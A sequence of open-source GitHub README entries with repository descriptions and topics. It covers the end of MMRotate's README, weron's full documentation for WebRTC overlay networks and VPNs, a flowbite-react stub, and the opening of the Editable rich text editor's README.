RepPoints](configs/oriented_reppoints/README.md) (CVPR'2022) - [x] [KFIoU](configs/kfiou/README.md) (arXiv) - [x] [G-Rep](configs/g_reppoints/README.md) (stay tuned) </details> ## Data Preparation Please refer to [data_preparation.md](tools/data/README.md) to prepare the data. ## FAQ Please refer to [FAQ](docs/en/faq.md) for frequently asked questions. ## Contributing We appreciate all contributions to improve MMRotate. Please refer to [CONTRIBUTING.md](.github/CONTRIBUTING.md) for the contributing guideline. ## Acknowledgement MMRotate is an open source project that is contributed by researchers and engineers from various colleges and companies. We appreciate all the contributors who implement their methods or add new features, as well as users who give valuable feedbacks. We wish that the toolbox and benchmark could serve the growing research community by providing a flexible toolkit to reimplement existing methods and develop their own new methods. ## Citation If you use this toolbox or benchmark in your research, please cite this project. ```bibtex @inproceedings{zhou2022mmrotate, title = {MMRotate: A Rotated Object Detection Benchmark using PyTorch}, author = {Zhou, Yue and Yang, Xue and Zhang, Gefan and Wang, Jiabao and Liu, Yanyi and Hou, Liping and Jiang, Xue and Liu, Xingzhao and Yan, Junchi and Lyu, Chengqi and Zhang, Wenwei and Chen, Kai}, booktitle={Proceedings of the 30th ACM International Conference on Multimedia}, year={2022} } ``` ## License This project is released under the [Apache 2.0 license](LICENSE). ## Projects in OpenMMLab - [MMCV](https://github.com/open-mmlab/mmcv): OpenMMLab foundational library for computer vision. - [MIM](https://github.com/open-mmlab/mim): MIM installs OpenMMLab packages. - [MMClassification](https://github.com/open-mmlab/mmclassification): OpenMMLab image classification toolbox and benchmark. - [MMDetection](https://github.com/open-mmlab/mmdetection): OpenMMLab detection toolbox and benchmark. - [MMDetection3D](https://github.com/open-mmlab/mmdetection3d): OpenMMLab's next-generation platform for general 3D object detection. - [MMRotate](https://github.com/open-mmlab/mmrotate): OpenMMLab rotated object detection toolbox and benchmark. - [MMSegmentation](https://github.com/open-mmlab/mmsegmentation): OpenMMLab semantic segmentation toolbox and benchmark. - [MMOCR](https://github.com/open-mmlab/mmocr): OpenMMLab text detection, recognition, and understanding toolbox. - [MMPose](https://github.com/open-mmlab/mmpose): OpenMMLab pose estimation toolbox and benchmark. - [MMHuman3D](https://github.com/open-mmlab/mmhuman3d): OpenMMLab 3D human parametric model toolbox and benchmark. - [MMSelfSup](https://github.com/open-mmlab/mmselfsup): OpenMMLab self-supervised learning toolbox and benchmark. - [MMRazor](https://github.com/open-mmlab/mmrazor): OpenMMLab model compression toolbox and benchmark. - [MMFewShot](https://github.com/open-mmlab/mmfewshot): OpenMMLab fewshot learning toolbox and benchmark. - [MMAction2](https://github.com/open-mmlab/mmaction2): OpenMMLab's next-generation action understanding toolbox and benchmark. - [MMTracking](https://github.com/open-mmlab/mmtracking): OpenMMLab video perception toolbox and benchmark. - [MMFlow](https://github.com/open-mmlab/mmflow): OpenMMLab optical flow toolbox and benchmark. - [MMEditing](https://github.com/open-mmlab/mmediting): OpenMMLab image and video editing toolbox. - [MMGeneration](https://github.com/open-mmlab/mmgeneration): OpenMMLab image and video generative models toolbox. - [MMDeploy](https://github.com/open-mmlab/mmdeploy): OpenMMLab model deployment framework.

OpenMMLab Rotated Object Detection Toolbox and Benchmark

rotated-object,pytorch,openmmlab,detection

pojntfx/weron

# weron  Overlay networks based on WebRTC. ⚠️ weron has not yet been audited! While we try to make weron as secure as possible, it has not yet undergone a formal security audit by a third party. Please keep this in mind if you use it for security-critical applications. ⚠️ [](https://github.com/pojntfx/weron/actions/workflows/hydrun.yaml) [](https://github.com/pojntfx/weron/actions/workflows/docker.yaml)  [](https://pkg.go.dev/github.com/pojntfx/weron) [](https://matrix.to/#/#weron:matrix.org?via=matrix.org) [](https://github.com/pojntfx/weron/releases) ## Overview weron provides lean, fast & secure overlay networks based on WebRTC. It enables you too ... - **Access nodes behind NAT**: Because weron uses WebRTC to establish connections between nodes, it can easily traverse corporate firewalls and NATs using STUN, or even use a TURN server to tunnel traffic. This can be very useful to for example SSH into your homelab without forwarding any ports on your router. - **Secure your home network**: Due to the relatively low overhead of WebRTC in low-latency networks, weron can be used to secure traffic between nodes in a LAN without a significant performance hit. - **Join local nodes into a cloud network**: If you run for example a Kubernetes cluster with nodes based on cloud instances but also want to join your on-prem nodes into it, you can use weron to create a trusted network. - **Bypass censorship**: The underlying WebRTC suite, which is what popular videoconferencing tools such as Zoom, Teams and Meet are built on, is hard to block on a network level, making it a valuable addition to your toolbox for bypassing state or corporate censorship. - **Write your own peer-to-peer protocols**: The simple API makes writing distributed applications with automatic reconnects, multiple datachannels etc. easy. ## Installation ### Containerized You can get the OCI image like so: ```shell $ podman pull ghcr.io/pojntfx/weron ``` ### Natively Static binaries are available on [GitHub releases](https://github.com/pojntfx/weron/releases). On Linux, you can install them like so: ```shell $ curl -L -o /tmp/weron "https://github.com/pojntfx/weron/releases/latest/download/weron.linux-$(uname -m)" $ sudo install /tmp/weron /usr/local/bin $ sudo setcap cap_net_admin+ep /usr/local/bin/weron # This allows rootless execution ``` On macOS, you can use the following: ```shell $ curl -L -o /tmp/weron "https://github.com/pojntfx/weron/releases/latest/download/weron.darwin-$(uname -m)" $ sudo install /tmp/weron /usr/local/bin ``` On Windows, the following should work (using PowerShell as administrator): ```shell PS> Invoke-WebRequest https://github.com/pojntfx/weron/releases/latest/download/weron.windows-x86_64.exe -OutFile \Windows\System32\weron.exe ``` You can find binaries for more operating systems and architectures on [GitHub releases](https://github.com/pojntfx/weron/releases). ## Usage > TL;DR: Join a layer 3 (IP) overlay network on the hosted signaling server with `sudo weron vpn ip --community mycommunity --password mypassword --key mykey --ips 2001:db8::1/32,192.0.2.1/24` and a layer 2 (Ethernet) overlay network with `sudo weron vpn ethernet --community mycommunity --password mypassword --key mykey` ### 1. Start a Signaling Server with `weron signaler` The signaling server connects peers with each other by exchanging connection information between them. It also manages access to communities through the `--password` flag of clients and can maintain persistent communities even after all peers have disconnected. While it is possible and reasonably private (in addition to TLS, connection information is encrypted using the `--key` flag of clients) to use the hosted signaling server at `wss://weron.up.railway.app/`, hosting it yourself has many benefits, such as lower latency and even better privacy. The signaling server can use an in-process broker with an in-memory database or Redis and PostgreSQL; for production use the latter configuration is strongly recommended, as it allows you to easily scale the signaling server horizontally. This is particularly important if you want to scale your server infrastructure across multiple continents, as intra-cloud backbones usually have lower latency than residential connections, which reduces the amount of time required to connect peers with each other. <details> <summary>Expand containerized instructions</summary> ```shell $ sudo podman network create weron $ sudo podman run -d --restart=always --label "io.containers.autoupdate=image" --name weron-postgres --network weron -e POSTGRES_HOST_AUTH_METHOD=trust -e POSTGRES_DB=weron_communities postgres $ sudo podman generate systemd --new weron-postgres | sudo tee /lib/systemd/system/weron-postgres.service $ sudo podman run -d --restart=always --label "io.containers.autoupdate=image" --name weron-redis --network weron redis $ sudo podman generate systemd --new weron-redis | sudo tee /lib/systemd/system/weron-redis.service $ sudo podman run -d --restart=always --label "io.containers.autoupdate=image" --name weron-signaler --network weron -p 1337:1337 -e DATABASE_URL='postgres://postgres@weron-postgres:5432/weron_communities?sslmode=disable' -e REDIS_URL='redis://weron-redis:6379/1' -e API_PASSWORD='myapipassword' ghcr.io/pojntfx/weron:unstable weron signaler $ sudo podman generate systemd --new weron-signaler | sudo tee /lib/systemd/system/weron-signaler.service $ sudo systemctl daemon-reload $ sudo systemctl enable --now weron-postgres $ sudo systemctl enable --now weron-redis $ sudo systemctl enable --now weron-signaler $ sudo firewall-cmd --permanent --add-port=1337/tcp $ sudo firewall-cmd --reload ``` </details> <details> <summary>Expand native instructions</summary> ```shell sudo podman run -d --restart=always --label "io.containers.autoupdate=image" --name weron-postgres -e POSTGRES_HOST_AUTH_METHOD=trust -e POSTGRES_DB=weron_communities -p 127.0.0.1:5432:5432 postgres sudo podman generate systemd --new weron-postgres | sudo tee /lib/systemd/system/weron-postgres.service sudo podman run -d --restart=always --label "io.containers.autoupdate=image" --name weron-redis -p 127.0.0.1:6379:6379 redis sudo podman generate systemd --new weron-redis | sudo tee /lib/systemd/system/weron-redis.service sudo tee /etc/systemd/system/weron-signaler.service<<'EOT' [Unit] Description=weron Signaling Server After=weron-postgres.service weron-redis.service [Service] ExecStart=/usr/local/bin/weron signaler --verbose=7 Environment="DATABASE_URL=postgres://postgres@localhost:5432/weron_communities?sslmode=disable" Environment="REDIS_URL=redis://localhost:6379/1" Environment="API_PASSWORD=myapipassword" [Install] WantedBy=multi-user.target EOT sudo systemctl daemon-reload sudo systemctl restart weron-postgres sudo systemctl restart weron-redis sudo systemctl restart weron-signaler sudo firewall-cmd --permanent --add-port=1337/tcp sudo firewall-cmd --reload ``` </details> It should now be reachable on `ws://localhost:1337/`. To use it in production, put this signaling server behind a TLS-enabled reverse proxy such as [Caddy](https://caddyserver.com/) or [Traefik](https://traefik.io/). You may also either want to keep `API_PASSWORD` empty to disable the management API completely or use OpenID Connect to authenticate instead; for more information, see the [signaling server reference](#signaling-server). You can also embed the signaling server in your own application using it's [Go API](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcsgl). ### 2. Manage Communities with `weron manager` While it is possible to create ephemeral communities on a signaling server without any kind of authorization, you probably want to create a persistent community for most applications. Ephemeral communities get created and deleted automatically as clients join or leave, persistent communities will never get deleted automatically. You can manage these communities using the manager CLI. If you want to work on your self-hosted signaling server, first set the remote address: ```shell $ export WERON_RADDR='http://localhost:1337/' ``` Next, set the API password using the `API_PASSWORD` env variable: ```shell $ export API_PASSWORD='myapipassword' ``` If you use OIDC to authenticate, you can instead set the API password using [goit](https://github.com/pojntfx/goit) like so: ```shell $ export OIDC_CLIENT_ID='Ab7OLrQibhXUzKHGWYDFieLa2KqZmFzb' OIDC_ISSUER='https://pojntfx.eu.auth0.com/' OIDC_REDIRECT_URL='http://localhost:11337' $ export API_KEY="$(goit)" ``` If we now list the communities, we see that none currently exist: ```shell $ weron manager list id,clients,persistent ``` We can create a persistent community using `weron create`: ```shell $ weron manager create --community mycommunity --password mypassword id,clients,persistent mycommunity,0,true ``` It is also possible to delete communities using `weron delete`, which will also disconnect all joined peers: ```shell $ weron manager delete --community mycommunity ``` For more information, see the [manager reference](#manager). You can also embed the manager in your own application using its [Go API](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcmgr). ### 3. Test the System with `weron chat` If you want to work on your self-hosted signaling server, first set the remote address: ```shell $ export WERON_RADDR='ws://localhost:1337/' ``` The chat is an easy way to test if everything is working correctly. To join a chatroom, run the following: ```shell $ weron chat --community mycommunity --password mypassword --key mykey --names user1,user2,user3 --channels one,two,three ``` On another peer, run the following (if your signaling server is public, you can run this anywhere on the planet): ```shell $ weron chat --community mycommunity --password mypassword --key mykey --names user1,user2,user3 --channels one,two,three .wss://weron.up.railway.app/ user2! +user1@one +user1@two +user1@three user2> ``` You can now start sending and receiving messages or add new peers to your chatroom to test the network. For more information, see the [chat reference](#chat). You can also embed the chat in your own application using its [Go API](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcchat). ### 4. Measure Latency with `weron utility latency` An insightful metric of your network is its latency, which you can measure with this utility; think of this as `ping`, but for WebRTC. First, start the latency measurement server like so: ```shell $ weron utility latency --community mycommunity --password mypassword --key mykey --server ``` On another peer, launch the client, which should start measuring the latency immediately; press <kbd>CTRL</kbd> <kbd>C</kbd> to stop it and get the total statistics: ```shell $ weron utility latency --community mycommunity --password mypassword --key mykey # ... 128 B written and acknowledged in 110.111µs 128 B written and acknowledged in 386.12µs 128 B written and acknowledged in 310.458µs 128 B written and acknowledged in 335.341µs 128 B written and acknowledged in 264.149µs ^CAverage latency: 281.235µs (5 packets written) Min: 110.111µs Max: 386.12µs ``` For more information, see the [latency measurement utility reference](#latency-measurement-utility). You can also embed the utility in your own application using its [Go API](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcltc). ### 5. Measure Throughput with `weron utility throughput` If you want to transfer large amounts of data, your network's throughput is a key characteristic. This utility allows you to measure this metric between two nodes; think of it as `iperf`, but for WebRTC. First, start the throughput measurement server like so: ```shell $ weron utility throughput --community mycommunity --password mypassword --key mykey --server ``` On another peer, launch the client, which should start measuring the throughput immediately; press <kbd>CTRL</kbd> <kbd>C</kbd> to stop it and get the total statistics: ```shell $ weron utility throughput --community mycommunity --password mypassword --key mykey # ... 97.907 MB/s (783.253 Mb/s) (50 MB read in 510.690403ms) 64.844 MB/s (518.755 Mb/s) (50 MB read in 771.076908ms) 103.360 MB/s (826.881 Mb/s) (50 MB read in 483.745832ms) 89.335 MB/s (714.678 Mb/s) (50 MB read in 559.692495ms) 85.582 MB/s (684.657 Mb/s) (50 MB read in 584.233931ms) ^CAverage throughput: 74.295 MB/s (594.359 Mb/s) (250 MB written in 3.364971672s) Min: 64.844 MB/s Max: 103.360 MB/s ``` For more information, see the [throughput measurement utility reference](#throughput-measurement-utility). You can also embed the utility in your own application using it's [Go API](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcthr). ### 6. Create a Layer 3 (IP) Overlay Network with `weron vpn ip` If you want to join multiple nodes into an overlay network, the IP VPN is the best choice. It works similarly to i.e. Tailscale/WireGuard and can either dynamically allocate an IP address from a CIDR notation or statically assign one for you. On Windows, make sure to install [TAP-Windows](https://build.openvpn.net/downloads/releases/) first. Also note that due to technical limitations, only one IPv4 or IPv6 network and only one VPN instance at a time is supported on Windows; on macOS, only IPv6 networks are supported and IPv4 networks are ignored. To get started, launch the VPN on the first peer: ```shell $ sudo weron vpn ip --community mycommunity --password mypassword --key mykey --ips 2001:db8::1/64,192.0.2.1/24 {"level":"info","addr":"wss://weron.up.railway.app/","time":"2022-05-06T22:20:51+02:00","message":"Connecting to signaler"} {"level":"info","id":"[\"2001:db8::6a/64\",\"192.0.2.107/24\"]","time":"2022-05-06T22:20:56+02:00","message":"Connected to signaler"} ``` On another peer, launch the VPN as well: ```shell $ sudo weron vpn ip --community mycommunity --password mypassword --key mykey --ips 2001:db8::1/64,192.0.2.1/24 {"level":"info","addr":"wss://weron.up.railway.app/","time":"2022-05-06T22:22:30+02:00","message":"Connecting to signaler"} {"level":"info","id":"[\"2001:db8::b9/64\",\"192.0.2.186/24\"]","time":"2022-05-06T22:22:36+02:00","message":"Connected to signaler"} {"level":"info","id":"[\"2001:db8::6a/64\",\"192.0.2.107/24\"]","time":"2022-05-06T22:22:36+02:00","message":"Connected to peer"} ``` You can now communicate between the peers: ```shell $ ping 2001:db8::b9 PING 2001:db8::b9(2001:db8::b9) 56 data bytes 64 bytes from 2001:db8::b9: icmp_seq=1 ttl=64 time=1.07 ms 64 bytes from 2001:db8::b9: icmp_seq=2 ttl=64 time=1.36 ms 64 bytes from 2001:db8::b9: icmp_seq=3 ttl=64 time=1.20 ms 64 bytes from 2001:db8::b9: icmp_seq=4 ttl=64 time=1.10 ms ^C --- 2001:db8::b9 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3002ms rtt min/avg/max/mdev = 1.066/1.180/1.361/0.114 ms ``` If you temporarily lose the network connection, the network topology changes etc. it will automatically reconnect. For more information and limitations on proprietary operating systems like macOS, see the [IP VPN reference](#layer-3-ip-overlay-networks). You can also embed the utility in your own application using its [Go API](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcip). ### 7. Create a Layer 2 (Ethernet) Overlay Network with `weron vpn ethernet` If you want more flexibility or work on non-IP networks, the Ethernet VPN is a good choice. It works similarly to `n2n` or ZeroTier. Due to API restrictions, this VPN type [is not available on macOS](https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web); use [Asahi Linux](https://asahilinux.org/), a computer that respects your freedoms or the layer 3 (IP) VPN instead. To get started, launch the VPN on the first peer: ```shell $ sudo weron vpn ethernet --community mycommunity --password mypassword --key mykey {"level":"info","addr":"wss://weron.up.railway.app/","time":"2022-05-06T22:42:10+02:00","message":"Connecting to signaler"} {"level":"info","id":"fe:60:a5:8b:81:36","time":"2022-05-06T22:42:11+02:00","message":"Connected to signaler"} ``` If you want to add an IP address to the TAP interface, do so with `iproute2` or your OS tools: ```shell $ sudo ip addr add 192.0.2.1/24 dev tap0 $ sudo ip addr add 2001:db8::1/32 dev tap0 ``` On another peer, launch the VPN as well: ```shell $ sudo weron vpn ethernet --community mycommunity --password mypassword --key mykey {"level":"info","addr":"wss://weron.up.railway.app/","time":"2022-05-06T22:52:56+02:00","message":"Connecting to signaler"} {"level":"info","id":"b2:ac:ae:b6:32:8c","time":"2022-05-06T22:52:57+02:00","message":"Connected to signaler"} {"level":"info","id":"fe:60:a5:8b:81:36","time":"2022-05-06T22:52:57+02:00","message":"Connected to peer"} ``` And add the IP addresses: ```shell $ sudo ip addr add 192.0.2.2/24 dev tap0 $ sudo ip addr add 2001:db8::2/32 dev tap0 ``` You can now communicate between the peers: ```shell $ ping 2001:db8::2 PING 2001:db8::2(2001:db8::2) 56 data bytes 64 bytes from 2001:db8::2: icmp_seq=1 ttl=64 time=1.20 ms 64 bytes from 2001:db8::2: icmp_seq=2 ttl=64 time=1.14 ms 64 bytes from 2001:db8::2: icmp_seq=3 ttl=64 time=1.24 ms ^C --- 2001:db8::2 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2002ms rtt min/avg/max/mdev = 1.136/1.193/1.239/0.042 ms ``` If you temporarily lose the network connection, the network topology changes etc. it will automatically reconnect. You can also embed the utility in your own application using its [Go API](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtceth). ### 8. Write your own protocol with `wrtcconn` It is almost trivial to build your own distributed applications with weron, similarly to how [PeerJS](https://peerjs.com/) works. Here is the core logic behind a simple echo example: ```go // ... for { select { case id := <-ids: log.Println("Connected to signaler", id) case peer := <-adapter.Accept(): log.Println("Connected to peer", peer.PeerID, "and channel", peer.ChannelID) go func() { defer func() { log.Println("Disconnected from peer", peer.PeerID, "and channel", peer.ChannelID) }() reader := bufio.NewScanner(peer.Conn) for reader.Scan() { log.Printf("%s", reader.Bytes()) } }() go func() { for { if _, err := peer.Conn.Write([]byte("Hello!\n")); err != nil { return } time.Sleep(time.Second) } }() } } ``` You can either use the [minimal adapter](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcconn#Adapter) or the [named adapter](https://pkg.go.dev/github.com/pojntfx/weron/pkg/wrtcconn#NamedAdapter); the latter negotiates a username between the peers, while the former does not check for duplicates. For more information, check out the [Go API](https://pkg.go.dev/github.com/pojntfx/weron) and take a look at the provided [examples](./examples), utilities and services in the package for examples. 🚀 **That's it!** We hope you enjoy using weron. ## Reference ### Command Line Arguments ```shell $ weron --help Overlay networks based on WebRTC. Find more information at: https://github.com/pojntfx/weron Usage: weron [command] Available Commands: chat Chat over the overlay network completion Generate the autocompletion script for the specified shell help Help about any command manager Manage a signaling server signaler Start a signaling server utility Utilities for overlay networks vpn Join virtual private networks built on overlay networks Flags: -h, --help help for weron -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) Use "weron [command] --help" for more information about a command. ``` <details> <summary>Expand subcommand reference</summary> #### Signaling Server ```shell $ weron signaler --help Start a signaling server Usage: weron signaler [flags] Aliases: signaler, sgl, s Flags: --api-password string Password for the management API (can also be set using the API_PASSWORD env variable). Ignored if any of the OIDC parameters are set. --api-username string Username for the management API (can also be set using the API_USERNAME env variable). Ignored if any of the OIDC parameters are set. (default "admin") --cleanup (Warning: Only enable this after stopping all other servers accessing the database!) Remove all ephemeral communities from database and reset client counts before starting --ephemeral-communities Enable the creation of ephemeral communities (default true) --heartbeat duration Time to wait for heartbeats (default 10s) -h, --help help for signaler --laddr string Listening address (can also be set using the PORT env variable) (default ":1337") --oidc-client-id string OIDC Client ID (i.e. myoidcclientid) (can also be set using the OIDC_CLIENT_ID env variable) --oidc-issuer string OIDC Issuer (i.e. https://pojntfx.eu.auth0.com/) (can also be set using the OIDC_ISSUER env variable) --postgres-url string URL of PostgreSQL database to use (i.e. postgres://myuser:mypassword@myhost:myport/mydatabase) (can also be set using the DATABASE_URL env variable). If empty, a in-memory database will be used. --redis-url string URL of Redis database to use (i.e. redis://myuser:mypassword@myhost:myport/1) (can also be set using the REDIS_URL env variable). If empty, a in-process broker will be used. Global Flags: -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) ``` #### Manager ```shell $ weron manager --help Manage a signaling server Usage: weron manager [command] Aliases: manager, mgr, m Available Commands: create Create a persistent community delete Delete a persistent or ephemeral community list List persistent and ephemeral communities Flags: -h, --help help for manager Global Flags: -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) Use "weron manager [command] --help" for more information about a command. ``` #### Chat ```shell $ weron chat --help Chat over the overlay network Usage: weron chat [flags] Aliases: chat, cht, c Flags: --channels strings Comma-separated list of channels in community to join (default [weron/chat/primary]) --community string ID of community to join --force-relay Force usage of TURN servers -h, --help help for chat --ice strings Comma-separated list of STUN servers (in format stun:host:port) and TURN servers to use (in format username:credential@turn:host:port) (i.e. username:credential@turn:global.turn.twilio.com:3478?transport=tcp) (default [stun:stun.l.google.com:19302]) --id-channel string Channel to use to negotiate names (default "weron/chat/id") --key string Encryption key for community --kicks duration Time to wait for kicks (default 5s) --names strings Comma-separated list of names to try and claim one from --password string Password for community --raddr string Remote address (default "wss://weron.up.railway.app/") --timeout duration Time to wait for connections (default 10s) Global Flags: -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) ``` #### Latency Measurement Utility ```shell $ weron utility latency --help Measure the latency of the overlay network Usage: weron utility latency [flags] Aliases: latency, ltc, l Flags: --community string ID of community to join --force-relay Force usage of TURN servers -h, --help help for latency --ice strings Comma-separated list of STUN servers (in format stun:host:port) and TURN servers to use (in format username:credential@turn:host:port) (i.e. username:credential@turn:global.turn.twilio.com:3478?transport=tcp) (default [stun:stun.l.google.com:19302]) --key string Encryption key for community --packet-length int Size of packet to send and acknowledge (default 128) --password string Password for community --pause duration Time to wait before sending next packet (default 1s) --raddr string Remote address (default "wss://weron.up.railway.app/") --server Act as a server --timeout duration Time to wait for connections (default 10s) Global Flags: -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) ``` #### Throughput Measurement Utility ```shell $ weron utility throughput --help Measure the throughput of the overlay network Usage: weron utility throughput [flags] Aliases: throughput, thr, t Flags: --community string ID of community to join --force-relay Force usage of TURN servers -h, --help help for throughput --ice strings Comma-separated list of STUN servers (in format stun:host:port) and TURN servers to use (in format username:credential@turn:host:port) (i.e. username:credential@turn:global.turn.twilio.com:3478?transport=tcp) (default [stun:stun.l.google.com:19302]) --key string Encryption key for community --packet-count int Amount of packets to send before waiting for acknowledgement (default 1000) --packet-length int Size of packet to send (default 50000) --password string Password for community --raddr string Remote address (default "wss://weron.up.railway.app/") --server Act as a server --timeout duration Time to wait for connections (default 10s) Global Flags: -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) ``` #### Layer 3 (IP) Overlay Networks ```shell $ weron vpn ip --help Join a layer 3 overlay network Usage: weron vpn ip [flags] Aliases: ip, i Flags: --community string ID of community to join --dev string Name to give to the TUN device (i.e. weron0) (default is auto-generated; only supported on Linux) --force-relay Force usage of TURN servers -h, --help help for ip --ice strings Comma-separated list of STUN servers (in format stun:host:port) and TURN servers to use (in format username:credential@turn:host:port) (i.e. username:credential@turn:global.turn.twilio.com:3478?transport=tcp) (default [stun:stun.l.google.com:19302]) --id-channel string Channel to use to negotiate names (default "weron/ip/id") --ips strings Comma-separated list of IP networks to claim an IP address from and and give to the TUN device (i.e. 2001:db8::1/32,192.0.2.1/24) (on Windows, only one IP network (either IPv4 or IPv6) is supported; on macOS, IPv4 networks are ignored) --key string Encryption key for community --kicks duration Time to wait for kicks (default 5s) --max-retries int Maximum amount of times to try and claim an IP address (default 200) --parallel int Amount of threads to use to decode frames (default 20) --password string Password for community --raddr string Remote address (default "wss://weron.up.railway.app/") --static Try to claim the exact IPs specified in the --ips flag statically instead of selecting a random one from the specified network --timeout duration Time to wait for connections (default 10s) Global Flags: -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) ``` #### Layer 2 (Ethernet) Overlay Networks ```shell $ weron vpn ethernet --help Join a layer 2 overlay network Usage: weron vpn ethernet [flags] Aliases: ethernet, eth, e Flags: --community string ID of community to join --dev string Name to give to the TAP device (i.e. weron0) (default is auto-generated; only supported on Linux and macOS) --force-relay Force usage of TURN servers -h, --help help for ethernet --ice strings Comma-separated list of STUN servers (in format stun:host:port) and TURN servers to use (in format username:credential@turn:host:port) (i.e. username:credential@turn:global.turn.twilio.com:3478?transport=tcp) (default [stun:stun.l.google.com:19302]) --key string Encryption key for community --mac string MAC address to give to the TAP device (i.e. 3a:f8:de:7b:ef:52) (default is auto-generated; only supported on Linux) --parallel int Amount of threads to use to decode frames (default 20) --password string Password for community --raddr string Remote address (default "wss://weron.up.railway.app/") --timeout duration Time to wait for connections (default 10s) Global Flags: -v, --verbose int Verbosity level (0 is disabled, default is info, 7 is trace) (default 5) ``` </details> ### Environment Variables All command line arguments described above can also be set using environment variables; for example, to set `--max-retries` to `300` with an environment variable, use `WERON_MAX_RETRIES=300`. ## Acknowledgements - [songgao/water](https://github.com/songgao/water) provides the TUN/TAP device library for weron. - [pion/webrtc](https://github.com/pion/webrtc) provides the WebRTC functionality. ## Contributing To contribute, please use the [GitHub flow](https://guides.github.com/introduction/flow/) and follow our [Code of Conduct](./CODE_OF_CONDUCT.md). To build and start a development version of weron locally, run the following: ```shell $ git clone https://github.com/pojntfx/weron.git $ cd weron $ make depend $ make && sudo make install $ weron signal # Starts the signaling server # In another terminal $ weron chat --raddr ws://localhost:1337 --community mycommunity --password mypassword --key mykey --names user1,user2,user3 --channels one,two,three # In another terminal $ weron chat --raddr ws://localhost:1337 --community mycommunity --password mypassword --key mykey --names user1,user2,user3 --channels one,two,three ``` Of course, you can also contribute to the utilities and VPNs like this. Have any questions or need help? Chat with us [on Matrix](https://matrix.to/#/#weron:matrix.org?via=matrix.org)! ## License weron (c) 2023 Felicitas Pojtinger and contributors SPDX-License-Identifier: AGPL-3.0

Overlay networks based on WebRTC.

golang,nat,networking,overlay-network,p2p,pion,tuntap,vpn,webrtc

themesberg/flowbite-react

packages/ui/README.md

Official React components built for Flowbite and Tailwind CSS

react,tailwindcss,a11y,component-library,components,components-react,flowbite,reactjs,storybook,typescript

editablejs/editable

[](README.zh-CN.md) # Editable `Editable` is an extensible rich text editor framework that focuses on stability, controllability, and performance. To achieve this, we did not use the native editable attribute [~~contenteditable~~](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable), but instead used a custom renderer that allows us to better control the editor's behavior. From now on, you no longer have to worry about cross-platform and browser compatibility issues (such as `Selection`, `Input`), just focus on your business logic. ## preview  You can see a demo here: https://docs.editablejs.com/playground --- - Why not use `canvas` rendering? Although `canvas` rendering may be faster than DOM rendering in terms of performance, the development experience of `canvas` is not good and requires writing more code. - Why use `React` for rendering? `React` makes plugins more flexible and has a good ecosystem. However, React's performance is not as good as native DOM. In my ideal frontend framework for rich text, it should be like this: 1. No virtual DOM 2. No diff algorithm 3. No proxy object Therefore, I compared frontend frameworks such as `Vue`, `Solid-js`, and `SvelteJS` and found that `Solid-js` meets the first two criteria, but each property is wrapped in a `proxy`, which may cause problems when comparing with pure JS objects using `===` during extension development. To improve performance, we are likely to refactor it for native DOM rendering in future development. Currently, React meets the following two standards: - [x] Development experience - [x] Plugin extensibility - [ ] Cross-frontend compatibility - [ ] Rendering performance In the subsequent refactoring selection, we will try to balance these four standards as much as possible. ## Quick Start > Currently, you still need to use it with `React` for the current version, but we will refactor it for native DOM rendering in future versions. Install `@editablejs/models` and `@editablejs/editor` dependencies: ```bash npm i --save @editablejs/models @editablejs/editor ``` Here's a minimal text editor that you can edit: ```tsx import * as React from 'react' import { createEditor } from '@editablejs/models' import { EditableProvider, ContentEditable, withEditable } from '@editablejs/editor' const App = () => { const editor = React.useMemo(() => withEditable(createEditor()), []) return ( <EditableProvider editor={editor}> <ContentEditable placeholder="Please enter content..." /> </EditableProvider>) } ``` ## Data Model `@editablejs/models` provides a data model for describing the state of the editor and operations on the editor state. ```ts { type: 'paragraph', children: [ { type: 'text', text: 'Hello World' } ] } ``` As you can see, its structure is very similar to [`Slate`](https://github.com/ianstormtaylor/slate), and we did not create a new data model, but directly used Slate's data model and extended it (added `Grid`, `List` related data structures and operations). Depending on these mature and excellent data structures can make our editor more stable. We have encapsulated all of Slate's APIs into `@editablejs/models`, so you can find all of Slate's APIs in @editablejs/models. If you are not familiar with Slate, you can refer to its documentation: https://docs.slatejs.org/ ## Plugins Currently, we provide some out-of-the-box plugins that not only implement basic functionality, but also provide support for `keyboard shortcuts`, `Markdown syntax`, `Markdown serialization`, `Markdown deserialization`, `HTML serialization`, and `HTML deserialization`. ### Common Plugins - `@editablejs/plugin-context-menu` provides a right-click menu. Since we do not use some of the functionality of the native contenteditable menu, we need to define our own right-click menu functionality. - `@editablejs/plugin-align` for text alignment - `@editablejs/plugin-blockquote` for block quotes - `@editablejs/plugin-codeblock` for code blocks - `@editablejs/plugin-font` includes font color, background color, and font size - `@editablejs/plugin-heading` for headings - `@editablejs/plugin-hr` for horizontal lines - `@editablejs/plugin-image` for images - `@editablejs/plugin-indent` for indentation - `@editablejs/plugin-leading` for line spacing - `@editablejs/plugin-link` for links - `@editablejs/plugin-list` includes ordered lists, unordered lists, and task lists - `@editablejs/plugin-mark` includes `bold`, `italic`, `strikethrough`, `underline`, `superscript`, `subscript`, and `code` - `@editablejs/plugin-mention` for mentions - `@editablejs/plugin-table` for tables The usage method of a single plugin, taking `plugin-mark` as an example: ```tsx import { withMark } from '@editablejs/mark' const editor = React.useMemo(() => { const editor = withEditable(createEditor()) return withMark(editor) }, []) ``` You can also use the following method to quickly use the above common plugins via `withPlugins` in `@editablejs/plugins`: ```tsx import { withPlugins } from 